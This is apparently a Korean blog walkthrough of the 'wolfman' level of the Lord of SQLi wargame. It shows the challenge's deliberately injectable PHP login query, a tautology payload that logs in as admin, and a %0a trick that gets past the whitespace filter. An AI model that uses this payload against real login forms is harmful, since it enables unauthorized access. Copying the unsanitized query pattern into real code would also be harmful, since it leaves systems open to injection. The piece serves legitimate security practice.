1
2
3
4
5
6
7
8
9
10
11
12
13
|
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~");
$query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("wolfman");
highlight_file(__FILE__);
?>
|
cs |
if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~");
공백을 필터링한다. 공백이 가능할 경우에는 1' or '1'='1' and id='admin 로 입력을 하면
query : select id from prob_wolfman where id='guest' and pw='1' or '1'='1' and id='admin'
가 되어서 admin으로 된다.
공백을 우회하는 방법은 여러가지가 있다. 아래 블로그를 참고했다.
https://binaryu.tistory.com/31
그 중 %0a을 이용해서 공백 필터링을 우회할 수 있었다.
'WAR GAME > Lord of SQLi' 카테고리의 다른 글
LORD OF SQL INJECTION [orge] 풀이 (0) | 2019.10.28 |
---|---|
LORD OF SQL INJECTION [darkelf] 풀이 (0) | 2019.10.27 |
LORD OF SQL INJECTION [orc] 풀이 (0) | 2019.10.25 |
LORD OF SQL INJECTION [goblin] 풀이 (0) | 2019.10.24 |
LORD OF SQL INJECTION [cobolt] 풀이 (0) | 2019.10.23 |